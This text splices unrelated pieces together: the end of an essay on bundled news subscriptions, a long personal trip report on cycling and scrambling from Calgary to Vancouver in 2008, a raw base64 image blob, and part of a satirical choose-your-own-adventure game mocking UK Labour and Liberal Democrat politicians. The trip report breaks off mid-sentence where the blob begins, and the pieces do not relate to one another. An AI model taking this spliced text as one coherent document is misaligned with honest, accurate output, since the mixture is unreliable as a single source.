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teaming up with a local outlet that wants to burnish its brand by association.
And what Cable TV shows is that once the category of bundled subscriptions is proven, the bundles get bigger and bigger. Several vast networks of bundled online news products may end up in existence, providing competition.
How the newspapers share the subscription revenue from the bundling service will be a source of friction. The “anchor” product may be able to screw over smaller titles when revenue comes up for negotiation, but they should be free to leave.
Perhaps the biggest upside of all would be lower barriers for websites to charge for content. Rather than facing the difficult decision of whether to unilaterally raise a paywall at all, the question will be whether to join a bundle, and if so, which one.
Thoughts, comments or objections? Leave them below!Part 0 - Cycling and Scrambling from Calgary to Vancouver
In A Nutshell
A rough map of the trip
Cycling (17 days)
Distance: 767 miles (45 miles / day)
Elevation Gain: ca. 41,000 ft (2,400 ft/day)
Elevation Loss: ca. 42,900 ft (2,500 ft/day)
Average Speed: 12 mph
Weight Carried: ca. 82 lbs (nearly 90 lbs when maxed out on water capacity)
Hiking/Scrambling (8 days)
Distance: 82 miles (10 miles/day)
Elevation Gain: 36,010 ft (4,500 ft/day)
Diagrammed elevation profile of the trip
The Premise
Views from the office
The Trip
The trip in the early planning stages. working out day divisions and noting prevailing wind directions as I was debating West-to-East vs. East-to-West
Vancouver
Partners, Planning, and Preparation
A detailed map of the route (actual, not planned)
Day 0 - Test Run
Part I - Calgary through the Canadian Rockies
Day 1 – Starting Out - Calgary to Banff
By Bike:
Starting out from Calgary International Airport
Approaching downtown Calgary, with my route in the foreground
Calgary Riverside Promenade
Prairie Cycling
My sweet rig
They're getting closer! I think? Mountain, just outside of Canmore Gap Peak Nearing Canmore
Mountains above Canmore
Day 2 – Rainbows in Banff - Rest Day
On Foot:
Rainy day in Banff
Rainbow by Mt Rundle, seen from Tunnel Mtn
Day 3 – A Two’fer - Climbing Mt Cory & Mt Edith
By Bike
On Foot
Day 4 – Moving on in Unsettled Weather - Banff to Lake Louise
By Bike
Mt Temple seen from Highway 1a
Part II - Lake Louise & Lake O'Hara Areas
Day 5 – More Climbing - Climbing Mt St Piran and Mt Niblock
By Bike
On Foot
Day 6 – Valley of the 6 Glaciers - And Climbing Mt Fairview
By Bike
On Foot
Day 7 – Lake O’Hara Environs - Lake Louise to Lake O’Hara
By Bike
On Foot
Day 8 – Abbot Pass - Lake O’Hara to Lake Louise
By Bike
On Foot
Day 9 – Back for More - Climbing Mt Temple & Eiffel Pk
By Bike
On Foot
SW Ridge of Mt Temple
Mount Temple Pictures
Scrambling on Eiffel Peak
Eiffel Peak Pictures
Part III - Mishaps in the Middle Ranges
Day 10 – Moving On - Lake Louise to Field
By Bike
Map of the railroad 'loop'. You can also see where I nearly had my accident as the road crosses the canyon
Day 11 – Sleeping In - Field to Golden
By Bike:
Leaving the Rockies behind
Day 12 – Bad Decisions & Bad Weather - Golden to Revelstoke
By Bike:
Foggy morning in Golden
Waiting out the rain
Avalanche Shed
Roger's Pass
Bad weather ahead, but it doesn't look that bad...
Day 13-14 – Stuck in Revelstoke - Rest Days
August 10th - Haaappy birrrrthday, too meeee...
Revelstoke in postcard form
Bridges and river in Revelstoke
August 11th - Bike Repair
Part IV - British Columbia's Desert?!
Day 15 – Uncomfortably Numb - Revelstoke to Kamloops
By Bike:
Haunted Chateau
Salmon Lakes Chase
Nearing Kamloops
Day 16 – Sweating it Out - Kamloops to Marble Canyon
By Bike:
Riding Around Kamloops
One of the city 'parks' in Kamloops
Looking back toward Kamloops from atop the promontory
Desert Country, Canada Style There are some mountains somewhere here... Lush British Columbia
Part V - Crossing the Coastal Range to Vancouver
Day 17 – Dying on the Duffy - Marble Canyon to Pemberton
By Bike:
Comparisons of the Duffy Lake Road to other cycling climbs
Approaching Fountain
Lillooet
The Duffy Lake Pass Seton Lake, blocking the easy way to Pemberton
Still climbing? Still have more to climb!
The old wooden bridges on the "Duffy" Foliage on the Duffy
Beer Goddess and her son
Duffy Lake and Pass
Mt Curie Sunset
"Welcome to the Castle Anthrax. My name is 'Zoot'. Just 'Zoot'."
Day 18 – Running Out of Steam - Pemberton to Whistler
By Bike:
Rack Damage
Day 19 – Hiking on Mt. Whistler - Rest Day
By Bike:
On Foot:
The Musical Bumps Trail
Day 20 – Sea-to-‘Die’ Highway - Whistler to Vancouver
By Bike:
West Vancouver from Lions Gate Bridge Stanley Park's Sea Wall
Vancouver at Dusk
Epilogue
Vancouver Sunsets Vancouver Wanderings Post Trip Seattle Wandering
Images not on Summitpost
Links
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This trip report is very long, partly because it was a very long trip (23 days), partly because I covered a lot of ground (cycled 770 miles and climbed over 10 peaks), and also because I’ve decided not to just write the standard “went there, did that” format. The trip was as much an inward journey for me as an outward one, so I feel that ignoring details relevant to my motivations and self-reflection would miss out on a lot of the adventure. In a nutshell, from July 29th to August 17th I cycled solo across Western Canada, from Calgary, Alberta, to Vancouver, British Columbia via Banff, Kamloops, and Whistler. Along the way I hiked and climbed throughout the Canadian Rockies and a small amount in the Coastal Range, summitting about 10 peaks. I cycled fully self-supported (apart from supply refills along the way) with camping gear and basic scrambling equipment, and this was to be my first ever multi-day cycling tour and first time ever combining cycling with scrambling on an approach. Although it was a very ambitious trip, in the end it was a wild success, and I had many interesting experiences along the way. For those that like stats, here they are:The summer of 2008 was a pivotal summer for me. I was on the verge of completing my graduate studies in structural engineering, and I had just spent 6 months interning at a prestigious firm in New York City that worked on exactly the sort of projects that I had so ambitiously trained myself for over the past 5 years.Although I loved New York City, the Shawagunks and the Adirondacks could barely begin to replace the outdoor lifestyle of the West that has become such a part of me. Despite being a dream job, I had turned down an offer to continue at the firm as a full employee, partly because I was insistent on finishing the optional extended portion of my degree and then contacting them, but also because I couldn’t decide what to do. I have always had a conflicting dichotomy of the love for big cities and the love for wilderness, and as my career track pulled me ever more strongly away from Nature, I have had a greater struggle between which passion to follow. It was in this state that I began planning some summer excursions, partly with the idea that this might be the last time for many years that I would be able to get out in the mountains and deserts that I so loved. No summer job this year – it was to be my last hurrah before fully entering a full-time career, and I wanted to do a number of big trips that I had been dreaming to do for a while. Or perhaps the trips could help me be at ease with scaling down my career ambitions for the sake of the mountains. For June I would spend the month in Alaska, climbing Denali with a group of climbing friends on a self-led expedition. With this trip already set in stone, I decided to take the month of July “off” to “rest” and recover from Denali and get in good cycling shape for my next big summer objective: cycling across Western Canada. Cycling has always been very therapeutic for me, both physical and emotional, so I guess part of the idea of this trip was to be a symbolic therapy for my current angst about my future. I first got the idea of doing a cycling trip in the Banff/Jasper area in 1999 when I took a road trip through the area with my father. At the time I was barely getting into climbing peaks, and on the trip we didn’t venture far from the car as I was still recuperating from a major reconstructive knee surgery. The region left a strong impression on me – some details in particular were the great combination of extremely rugged roadside beauty and surprisingly mild road grades through the mountains, perfect conditions for a great cycle touring route. Ever since that trip, I had casually toyed with the idea of someday cycling through there, maybe ambitiously, as a loop from Calgary.Over the years as I have fallen in love with mountaineering, one major influence in my interests and ambitions in the mountains has been Bob Burd and his Sierra Challenges. Not only did they expand my awareness of what I could accomplish in single-day mega hikes, leading to my idea to day hike Gannett Peak, but in 2006 when I managed to do the full 10 days of the Challenge I learned a lot about multi-day ultra-endurance events and how to go about attempting them.From this background, in 2008 when I decided to finally do a cycling tour in Banff, I got really ambitious. First, the trip wouldn’t just be about cycling in the area. I would also hike and scramble up peaks. I was confident that if I paced myself, I could go continuously for many days, and that the effort of doing day hikes in the Canadian Rockies wouldn’t tire me out too much for such a pace. Also, I theorized that hiking days could be “rest” days for my cycling days, and vice-versa, since the activities use slightly different muscles. Then I just went off the deep end. I had always wanted to see Vancouver and had been learning more about Whistler and the Vancouver area, so I began to get interested in linking up my cycling trip from Calgary all the way to Vancouver. I had the time, so what the hell – if only cycled 50 miles a day, taking all day if I wanted to, I would have time to do this. And so the idea for my uber-ambitious mega-cycling-climbing trip was born. Still, the idea was a little crazy since at the time 50 miles was my all-time cycling record for one day, on an unloaded bike, and it left me wasted for a few days after. Also, I wasn’t about to do this alone just yet. I had never solo-toured before (or done a cycling tour for that matter), and I had done very little soloing in the mountains. For the partner problem, I knew just who to call – my friend Joel Wilson, who had joined me for the Gannett Peak day hike sufferfest. He likes these sorts of trips, and he was very interested in the idea. Still, he had research to do that summer, but expected to be able to take at least a week off. So we tentatively planned for him to join me at the very least in the Banff area. This allowed the nice possibility of trying to climb Mt Assiniboine along the way, since we could afford to bring the weight of a rope and light rack on our bikes as Joel wouldn’t need to carry as much gear for the trip and wouldn’t be riding as far with it. Sadly, in the end Joel couldn’t take enough time off to do the whole trip, and then he got a girlfriend, so I was left friendless for the trip. At this point I was enthusiastic enough about the trip that I decided just to go solo, but Mt Assiniboine would have to wait. And my newly purchased SPOT Personal Locator Beacon could be used to let family know on a regular basis whether I was making progress on my route, so at least someone could call in a rescue if I needed one. I would fly to Calgary with my bike packed up in a box. Then I would assemble it at the airport and begin my ride. In Vancouver I would get another box to pack up my bike, and ride a Greyhound bus to Seattle to meet some friends and visit a prospective employer before shipping my bike back to Salt Lake City flying back to school in Berkeley via Los Angeles (for further job interviews). Busy month! Plus there was still the possibility of my friends in Seattle driving up to meet me in Whistler with extra climbing gear to tackle Mt Garabaldi.For planning and preparations, I made good use of the month of July staying at home in Salt Lake City. The planning was a major hurdle in and of itself. I had absolutely no idea what I was really getting into, and I couldn’t find any information readily available for doing such a cycling tour, as far as where to stay, quality of roads, suggested routes, distances to be covered each day, where to restock on food and water, etc. That and I needed to learn how to do a multi-day cycling tour. So I designed a custom trip from scratch based on internet searches, point of personal interest, and the joys of Google Maps and Google Earth. A few variations were planned, all of which passed handily through Kamloops, making a figure-8 centered on the town. I was very tempted with a northern route via Jasper and then down the backside of the Canadian Rockies. But then that was a major detour, and I would miss Yoho National Park, which I had yet to see. So I would take Canada Highway 1 from Calgary to Kamloops. On the next leg, the more obvious route was to join Highway 5 and take it south and into the river valley that empties into Vancouver. This way is more well-traveled, but from what I read online, the there was a pass that was notorious for cycling tourists for its steepness and elevation gain from either side; plus, the idea of cycling through endless flat land and suburbs to get to Vancouver seemed less appealing to me. By looking closely at maps, I picked together a northern route that took me to Cache Creek, over the Pavilion Range to Lillooete, and then over the Coastal Range in 2 hurdles, one from Lillooet to Pemberton, and then another main climb from Pemberton to Whistler. From there it was (mostly) downhill to Vancouver on the vividly-named Sea-to-Sky Highway. The idea of descending from the mountains to the ocean, cycling along a highway like California’s Highway 1, sandwiched between the mountains and the sea seemed too great to pass up. Plus, this route brought me in to Vancouver from the north, allowing me to get downtown with a minimum of cycling within the city.There was a big problem with the alternate route, though. Upon closer inspection, the stretch from Lillooet to Pemberton seemed to fade away. Topographic maps showed a nice valley linking the two towns, but this was filled with a reservoir and I could only find railroad tracks alongside the water. There was a road (that as far as I could tell from satellite photos was paved) that cut across the arc that the valley carved through the mountains, but this shortcut had a significant climb up and over the mountains. In addition to climbing over 3,000 ft in one push, I found the first 1,500 ft to be very steep – grades as steep as 10% and nothing less than 5%. This would not be pretty with a fully loaded touring bike at the end of a major cycling tour. I had no idea if I could even peddle up such a consistently steep grade with so much weight on my bike. Still, the picturesque descent on the Sea-to-Sky Highway ending with a sudden and dramatic entrance into Vancouver (similar to entering San Francisco via the Golden Gate Bridge) seemed too romantic of an idea to pass up. So it was settled. My dad insisted that I was going backwards on the route, since it was against the prevailing wind, but I was set on having Vancouver as the endpoint. It seemed more rewarding and a much nicer way to end the trip by arriving someplace new. Also, research into typical wind weather data for August in the towns I was riding through showed that the winds were primarily directed by the mountains and not the prevailing current. Regardless which way I traveled, I would have headwind about half the time, tail wind the other half, and some cross-wind here and there.With the route known, I then digitized the route (nerdy, I know, but helpful). Not only could I plan were I should stop based on distance and elevation gain, but I could have a breakdown printed out with me to know how much distance and elevation gain between various points, which proved very helpful in the trip when I had to deviate from my planned stops (which happened a lot!) and I wanted to make informed decisions. Because there were a lot of ways in which I could break up the route, by having the map digitized on a spread sheet, I could intelligently plan stops so that I could start small with elevation gain and distance, and gradually ramp it up. As far as climbing, I spent hours poring over guidebooks and Google Earth piecing together potential peaks. Eventually I drew up a list of possible outings (more than I could do, but then allowing for a nice variety of options). One logistic to work out was how I would get to the peaks without a car, so finding routes with reasonable cycling approaches was key. I could cycle out from a “base camp”, climb a peak, and then head back. On peaks further out, but along my route, I could cycle over, climb the peak, and continue on to that night’s destination. The second concern was what I would do with the gear and food on my bike, being left unattended in Bear country. Light camo- netting would protect my bike from theft (after it was stashed in the bushes, plus the netting could make ‘questionable’ roadside camping easier), but were there any bear boxes at the trailheads, or would I have to bring a bear canister? A call to the ranger office in Banff answered that question – no bear boxes, and the Canadians don’t trust bear canisters. My only option would be to hang food. I was also informed that I didn’t need to make campsite reservations as I should be able to find a site coming in on a bicycle and it being a slow year. When the ranger inquired as to my overall plans and I told him, he warned me that the stretch from around Kamloops all the way to the Coastal Range was a desert that could reach 100F during August. I had seen the barren areas on satellite photos, but just assumed it was barren and cool highlands – I hadn’t even considered that rain-drenched British Columbia would have a desert! I would have to get across that section of my route fast – and carry a lot of water. In order to prep myself for the trip while trying to recover from Denali, I tried to cycle at least every other day, if not every day, for the entire month – and when I went out I aimed to punish myself. The emphasis would be hills galore, and as fast as I could take them. Of course I would also make sure my rides were initially at least 20 miles and then gradually increase the distance to 50 miles or so. The 10-mile 2,000 ft climb in Millcreek Canyon got routine and loops from my house in Holladay to Brighton and Alta ski resorts became reasonable outings. Packing went less straightforward. By the time I had amassed all of the gear I thought I needed, it weighed over 90 lbs. After some thoughtful sorting and inventorying to see where the weight was, I managed to trim it down to 82 lbs – still not a very good number, but it was the best I could do with the unknowns. Spread-sheeting everything, as nerdy as it seemed at the time, was very helpful, since I could make sure the weight was balanced well between my 4 panniers and rear bag. Also, bringing a printout list with me made repacking every day very easy, since everything was packed so tightly and needed to stay balanced throughout the trip. In the end I decided to go without a trailer (harder to control on down hills, and required more parts to bring for repairs) in favor of front panniers (messes with steering a tad, but otherwise lighter and simpler for airline travel), and going by what apparently is a North American preference of 70% weight on the rear and 30% weight on the front. Also, I chose my mountain bike, outfitted with slicks, over my lighter and faster road bike. The name of the game on this ride would be comfort, and I needed as low of a gear as possible for the ‘death pass’ near Lillooete. Planning and packing took much longer than expected, and my procrastination for actually loading up my bike and riding with it stretched until the day before my flight to Calgary. I planned to load it up exactly as I would ride, including wearing my climbing daypack carrying a full camelback of water, and then cycle from my house to the top of Immigration Canyon and back.This would give me a nice continuous 1,500 ft climb on grades similar to anything I expected to experience on the route except for the ‘death pass’. The first run didn’t go so well, as it was very difficult controlling the bicycle, with extremely bad fluttering in the rear, especially whenever I turned. Moving weight lower solved this problem, and I was on my way. Overall the ride was fine once I got used to the sluggish handling and riding slower. I knew I would need to practice self-discipline in focusing on perceived effort and not speed as my pace metric for the trip so that I wouldn’t burn myself out. The riding wasn’t too bad with the weight on my bike as long as I didn’t try to go fast, and to my surprise, I made the climb without it being that bad. In fact, I still managed to pass some cyclists on the climb. Everything went fine until I got home. I hit the driveway a little fast, which has a sudden uphill slope from the road, and this dynamic shock caused my rear pannier rack to shear off the mounting screws. All I felt was a bump, and then there was a sudden snap as it felt like I just started tugging a block of concrete, stopping me cold. I went out for some last minute errands, including getting some stronger metal grade screws, and extra screws and other supplies. Because the screw sheared off, half of the screw was still wound into the threads on my bike frame, and only after drilling a griping hole to unscrew this segment with some special tools was the bike mechanic able to free the hole for the replacement screw. There was no way I would be able to carry the tools needed to fix such a breakdown if this happened again on route, so if the screws sheared off while on my ride, I would have no way to remount the rack. I would have to be very careful on my trip to avoid this type of breakdown, especially since hitting holes and bumps at speed would be unavoidable on the trip. I made a note to always check the mounting screws before and after each ride and retighten them if they came loose to avoid subjecting them to an extra dynamic shock from any bumps. As much as I had hoped to be better prepared, I was out of time, and things seemed to barely be ready enough to go through with the trip. So I set off.Distance: 97 miles Elevation Gain: 4,380 ft My plan for the day was to take a red-eye flight from Salt Lake City to Calgary, so that I would arrive early in the day, giving me a full day to ride. My objective was to cycle some 65 miles or so to some campgrounds just short of Canmore. The idea was better in theory than in practice - a whining infant on the flight helped give me a 24-hour sleep deficit before starting my ride. I touched down sometime around 5:30 am. I had carried two of my panniers, full, onto the airplane, and everything else was neatly packed inside my bike box or my Andanista Wild Things mountaineering pack, which were picked up without incident at the baggage claim. With a roller cart fully loaded with the gigantic bike box and all my equipment, I faced the next crux in the day’s plans – customs: Customs Officer: “So how long are you planning on spending in Canada?” Me: “About a month” Customs Officer (looking suspicious): “Reeeeally? And where will you be staying tonight and what will you be doing during your stay in Canada?” Me: “I don’t know exactly where I’ll be staying tonight; hopefully somewhere in the Rocky Mountains. I’m planning on cycling and hiking my way to Vancouver.” Customs Officer (raising an eyebrow): “Uh huh... well... on you go (waving me through)” So far so good. Assembling my rig, however, was another matter. I set up shop on the loading/unloading curb of the terminal, unpacking all of my bags and bike frame from the box, and I spent the next hour and a half repacking things for the ride and assembling my bike. Pumping the mountain bike tires with a hand pump was very trying, and something I really hoped I’d only have to do this once. Assembling the front rack with my small, awkward multi-tools was also tedious. At least I was providing entertainment for the Pakistani taxi drivers that had begun to gather around my scene, taking an interest in the mess. Naturally, they all thought I was crazy.By 7:30 I was set up and cycling my way out of the airport terminal and on the frontage road towards Calgary. The morning was amazingly clear, and it was surreal and somewhat intimidating to see downtown Calgary in the distance, and the Rocky Mountains, still further away, rising high above the Great Plains. I felt more than a little intimidated. This was my first trip to a foreign country completely alone with no one waiting for me (as foreign as Canada is), and the plans for my first day seemed huge. Biking all the way across Calgary as just a warm up seemed a large task. I felt a tad vulnerable and exposed. Could I really make it all the way to Canmore? What was I getting myself into? Well, I was finally committed, and this added to the suspense. Once I got into a good cycling rhythm, I forgot about my worries and began enjoying the experience. I was gradually getting used to handling my bike with its heavy load, which was a good thing since I was about to experience my next challenge - Canada’s ambiguous freeway system. My understanding (Canadians, please correct me if I’m wrong) is that many of the freeways in Canada are distinctly different than U.S. freeways in that they aren’t limited access. Basically, large boulevards eventually had overpasses, underpasses, and onramps built onto them, and most of these routes still allowed pedestrians and cyclists. Plus, there wasn’t much of a good alternative route left once these boulevards had been converted.So with the high rise buildings of Calgary looming large, I found my way onto the “freeway”, hugging the right shoulder as much as I could. I could really feel the wind from passing vehicles, not only from their size, velocity, and proximity, but also because with all of my gear, my bike had a lot more surface area to catch the side wind. As I approached the river crossing on my route through the downtown, it appeared I had no option but to go up the highway bridge that arced over the water. This felt sooo wrong, both because the shoulder got a lot smaller (although I still was able to stay out of the traffic lanes), and also the feeling of cycling on a narrow overpass felt like it should be illegal (anywhere in the U.S. it sure would be). I sprinted on this part to get it over with as fast as possible, and soon I was spit out onto the downtown streets and onto the riverside promenade.The promenade offered both a very nice way to see some scenic parts of Calgary and a clear through-way through much of the city with no cars to contend with – only early morning joggers and skaters. My getup was very suspicious in this urban environment, and at one photo stop a cute woman in her late 20s, probably on her way to work, approached me to ask what I was up to: Woman: “So where are you cycling to today?” Me: “The Canadian Rockies, on my way to Vancouver.”In a response that became typical along my trip, she was at first surprised, next questioned my sanity, then took interest, and finally wished me a pleasant journey. Eventually I crossed the river, cycled up my first mild hill (ugggh!), and found a Denny’s near the West end of town where I had a leisurely and ample breakfast. This brought up another problem as there weren’t many places to lock up a bike on my trip, and even if I could, locks would do nothing to protect all of my valuable and vital equipment that I had in my panniers. As would happen on many of my stops, the employees where nice enough to let me wheel my rig partway inside where it was out of site outside and where I could keep an eye on it. Next I was on my way out of town, entering the next critical point of my journey – finally leaving the city and hitting the open road. I had expected this leg of the journey to be rather straightforward – just a lot of flat ground and perhaps some bad headwind. What I hadn’t counted on was how much the terrain could roll at just a low enough relief that I missed it on my topo-map survey. Although the hills were mild, the ride from Calgary to the mountains was anything but flat, but rather, it was an endless series of 80-100 ft hills. Still, they weren’t so bad if I shifted to the correct gear, and on this trip I was to follow a new, more meditative strategy that I would tell myself: “Ignore your speed, only focus on the now, and pace yourself so that you can go all day. Sustainability is key here, not time. If you feel like you are working hard, ease up or lighten the gear. Eventually you will get to where you are going. And NEVER use the granny gear – if you really need to use it, then you don’t have a prayer making it over the ‘death pass’.” Another surprise along the road was experiencing the effects of traffic on a touring rig – especially the effects of semi-trucks, small trucks, and RVs. On an unloaded bicycle on most roads, these are just intimidating nuisances, but when they are moving at high speeds, the turbulence they kick up really packs a punch, especially on a touring rig. First, a front wave of compressed air being driven forward by the vehicle hits you, knocking you forward and then away from the vehicle as it passes you. Then you enter the low-pressure suction zone behind this wave, which sucks you sideways towards the vehicle.Finally, there is the rear suction of the vehicle, which smacks you from behind again as the vehicle passes. This whole dance of wind forces plays out in about 0.5-1 seconds and with a touring rig it was strong enough to cause a crash. You have to counter lean and steer, while controlling the inertia of the touring rig as it inevitable just moving side to side. This was even the case when I was 5 or 6 feet away on the shoulder. Even passing RVs could cause a crash from a moment of carelessness. Another unexpected hazard is the constant encounter with small cracks, holes, and debris on the shoulder. Such small hazards cannot be seen from far away and are invisible to cars. But they are large enough to cause a crash or a flat on a bicycle and you really can only see then a few seconds before impact, so you had to be ever alert of the road surface while riding. Between the road surface hazards, and vehicle hazards, cycling was not something that could be done carelessly. Constant attention had to be paid with lots of reacting. However, as the miles wore on in my trip, this attention and reaction became more automatic and part of the background, just as much of the hazard considerations are in climbing – sort of a semi-conscious attentiveness and reaction. The miles reliably ticked by, and occasionally I would get glimpses of the Canadian Rockies getting ever closer – things were finally becoming real. I was making much better time than expected, and by early afternoon I was approaching Canmore. At the time of this trip I was ignorant of proper sports nutrition for ultra-endurance events, and since breakfast all I had eaten was 2 cliff Bars and a couple of GUs. Not only was I famished, but I began to hit the wall big time. I barely manage to crawl into a gas station a few miles short of Canmore, bought a lot of salty carbohydrate-loaded junkfood and Gatorade to clean out my palate and replenish my energy and pigged out in the back parking lot before falling asleep tangled in my bike in some shade behind the store.About an hour later I awoke and, feeling much better, decided to forgo the closer campsites and push on into Canmore for an early dinner. After a nice filling dinner and conversation with a random U.S. expat that I met at the fast food joint, I saw that it was still only 6 pm, and that the Banff campground was only another 15 miles or so away – I could easily make it there by nightfall. The prospect was too tempting and I was feeling too good to stop early, so I merged what I had conservatively planned for 2 days and continued on towards Banff. On my way out of town I came across another solo touring cyclist who was just finishing a ride of his own from Vancouver to Calgary! After getting some valuable beta on road conditions and the pass he cycled over to Kamloops (he didn’t come via the dreaded ‘death pass’, but one that was still notorious), I continued on to Banff National Park I made it to the turnoff from Canada Highway 1 as it started to get dark. After one last unexpected hill (painfully steep) to get up to the hilltop campground (and then another hill along the way), I made it into the campground about an hour before sunset. I felt really beat, but surprisingly fresh considering how much I had cycled. My previous distance record, set during my training rides in July, was 54 miles, unloaded. Today, my first day of the tour, I cycled 97 miles with around 80 lbs on my bike! With no campsite reserved, and a desire to avoid the high price for a spot, I cruised the campground looking for some people willing to share a site. One benefit of touring solo is that it is much easier to do this if you’re alone. In no time I found a campsite that was being jointly shared by a number of solo and paired adventurers who were happy to have me as company. Technically there were too many people on the site, but we agreed I would sleep in my bivvy sack just over the hill crest and pack it up each morning so that it wasn’t obvious how many people were sleeping at the site. A couple of the people had just finished working for the summer and where cycling around Banff. Another guy had just finished his summer off in British Columbia, and hitchhiked out here on a whim to find work in Banff and explore the area before heading back to school in Ontario. After getting settled, I got back onto my unburdened bicycle and continued cycling towards town. I was told there was a convenience store about 2 miles down the road, and I was desperate for tasty food and beer. At the store I met another touring cyclist who had just finished a ride down from Jasper. He showed me some video he recorded on his cameras of all of the bears he saw along the way. I hoped to see some wildlife, but hopefully not too much of that type! After glorious beer, I came back to the campsite for a nice fire, more beer (my friends had invited more friends), and an early sleep in order to be rested f and up early the next day to climb Mt Rundle. Destination: Tunnel Mtn Distance: 8 miles Elevation Gain: 1,020 ft I awoke to cloudy skies and rain. Noooooo! It looked like Mt Rundle was out of the picture, since it is a good haul, and tempting fate with thunder or wet rock seemed like a bad idea. Today would be an unplanned rest day, and I guess I needed it.Being lazy, I took a campground shuttle into town where I spent most of the day wandering around doing errands and getting to know the place. At one point I stopped in at the ranger station to get some info on a possible day hike. Right before I left on my trip, my dad strongly recommended that I try to find my way into an area in Yoho National Park called Lake O’Hara. The lake was 10 miles away from the highway, but the road was closed to cars and bikes. The only way to get there was to hike, or take a reserved shuttle. Reservations often needed to be made weeks in advance. Once up there, the only camping available was available only by reservation 6 months in advance, and it usually filled up 6 months in advance. This makes the area relatively inaccessible to most people, but my dad suggested that I still try to find a way to get in there. Hiking 20 miles on dirt road just to get to and from the Lake seemed like a raw deal, so I was considering hiking over the continental divide on a 20-30 mile day hike, but which route? My dad was certain that you could hike |
kwHpEwHpF06IFAvHRESHRBqYAICAACEEUAAAIAwAggAABBGBySYDkiZDki7dECgXToiY9ABoQYmIAAAQBgBBAAACCOAAAAAYXRAgumAlOmAtEPnA/qlE9InHRBqYAICAACEEUAAAIAwAggAABBGBySYDkiZDsh+dDboWd5Z+Mb9fVc6Im3SAaEGJiAAAEAYAQQAAAgjgAAAAGF0QILpgJTpgNxPx4ORvMw6CG/c/5uiQ3IMHRBqYAICAACEEUAAAIAwAggAABBGBySYDkiZDsh1Oh4AD3RI7qMDQg1MQAAAgDACCAAAEEYAAQAAwuiABNMBKeu5A6LDAdCGXjsmOiDUwAQEAAAII4AAAABhBBAAACCMDkgwHZCymo+bDgcA96ilU6IDQg1MQAAAgDACCAAAEEYAAQAAwuiABNMBKdvz6/2jDgcAHbi3U6IDQg1MQAAAgDACCAAAEEYAAQAAwuiABNMBeeq1TgYAHO63laxTwhhMQAAAgDACCAAAEEYAAQAAwuiABKu9A6KTAQDohLAnExAAACCMAAIAAIQRQAAAgDA6IMGO7oD8m44HALCQTghbMgEBAADCCCAAAEAYAQQAAAijAxIsugOi8wEArKUDwpZMQAAAgDACCAAAEEYAAQAAwuiABNu7A6LzAQBsTQeELZmAAAAAYQQQAAAgjAACAACE0QEJtnUHROcDAIimE8IaJiAAAEAYAQQAAAgjgAAAAGEEEAAAIIwAAgAAhBFAAACAMAIIAAAQxjogwdauA2LdDwCgNtYFYQkTEAAAIIwAAgAAhBFAAACAMAIIAAAQRgABAADCCCAAAEAYAQQAAAhjHZBgS9cB+YN1PwCAylkHhCVMQAAAgDACCAAAEEYAAQAAwgggAACs8h9fPt3gFgEEAAAII4AAAABhBBAAACCMdUCClW6jP3x1egEAoFHWBeEWExAAACCMAAIAAIQRQAAAgDACCAAAEEYAAQAAwgggAABAGAEEAAAIYx2QYPltZN0PAKB31gXhnAkIAAAQRgABAADCCCAAAEAYAQQAAAgjgAAAAGEEEAAAIIwAAgAAhBFAAACAMAIIAAAQRgABAADCCCAAAECYD37/+tmPp5dX++G0v+X70z5C5Oea61+/Or0AwBMvvz69cPLmy9MLQHd+mz3eGYsJCAAAEEYAAQAAwgggAABAGB2QYDogAMDodEDGZgICAACEEUAAAIAwAggAABBGB2RnOh8A98nXBSmxbgi0QwdkbCYgAABAGAEEAAAII4AAAABhdEB2pgMCME/e+cg7HaVOSH4O+kYnBJqhEzIWExAAACCMAAIAAIQRQAAAgDA6IDvTAQG4rNT5yOmAQL90QMZiAgIAAIQRQAAAgDACCAAAEEYHZGc6IAAPSh2Opet+5HRAoF06IGMxAQEAAMIIIAAAQBgBBAAACKMDsjMdEIAHSzsdS9cF0QGBfuiE9M0EBAAACCOAAAAAYQQQAAAgjA7IznRAAB4s7YAspQMC/dAB6ZsJCAAAEEYAAQAAwgggAABAGAEEAAAII4AAAABBnj37f9vvNq3meDLWAAAAAElFTkSuQmCC
indecision is very unbecoming of a future prime minister, you know.
<font size=20><b>DEAD END!</font></b>
you stand in the centre of SHEEPSHIRE, ready to engage in some hot politickin' action. ukip leaflets flutter in the breeze around your long clown feet.
the locals mutter to themselves about your team of labour women (and a few irrelevent men) milling around by the fishmonger's, perhaps worried that they are planning a vast feminist coup of the town council, with their first motion to declare the harbour open only to lesbian battleships.
if that won votes around these parts, you'd be in full support of it...but alas.
what will you do?
▶ [[HOLD A STREET RALLY]]
▶ [[ADMIRE THE SCENIC VIEWS]]<<if $bother2 eq "no">>
▶ [[TALK TO THE SQUAD]]<<endif>>
"stay out of here, miliband, this is <i>our</i> turf," danny alexander warns, his fleshy neckchin wobbling in indignation.
"excuse you?" harriet harman declares, marching over and picking up tiny baby david laws by the scruff of the neck, "the lib dems have about three supporters here! besides, we're here to spread the word of feminism to the unwashed masses!"
"what, with your pink bus?" danny smirks.
"the entirety of your party's female mps <i>ever elected</i> could fit inside our bus!" harriet roars, throwing laws into the sea with her mighty biceps.
"what she said," you say, terrified.
danny alexander curses, rallying his troops (read: three people and a dog).
"get ready, men! we fight for relevancy!"
a crowd of babbling pensioners has gathered to watch. you know you must display a show of dominance here, or risk losing labour support to a golden retriever.
▶ [[BRAWL WITH THE LIBERALS]]
▶ [[STAND BACK AND CHILL LIKE A COOL DUDE]]
you valiantly try to bluff your way in by using a stock password you got from watching cool old spy films at university, which you did about once when you weren't leafleting for the labour party and/or getting chased by big scary dogs.
the password is incorrect.
the hatch slams in your face. then, to make matters worse, the WI activates its security system.
killer bees.
what can i say, they've modernised recently. try again, and this time make sure that there wasn't anything DELICIOUS you forgot to pick up along the way.
<font size=20><b>DEAD END!</font></b>
"look, guys -" you start.
"you mean gals!" mary creagh shouts from the back of the crowd.
"guys and gals," you say, "there's no way we can just camp out here in the middle of ukip territory. we could get jumped on by who knows what: the crew of question time, perhaps, or mark reckless. maybe even that one guy who said his mind was clear and his buttocks were smooth."
"horrible," angela eagle nods.
"we could take the train? and renationalise it on the way?" maria eagle adds chirpily.
"that's <i>my</i> job," mary creagh says, "and we're not renationalising it, sort of, we're -"
"settle down!" harriet booms, quieting the squabbling children, "we'll do whatever you think is right, ed. lead the way."
▶ [[TRUDGE THROUGH THE FIELDS]]
▶ [[CLIMB A MOUNTAIN]]
you'd better push the button and let me know, before i get the wrong idea and go.
and that's exactly what you do: with no time to spare, you thrust the full weight of your fist down on to the jolly, candy-like button, embedding it into its slot.
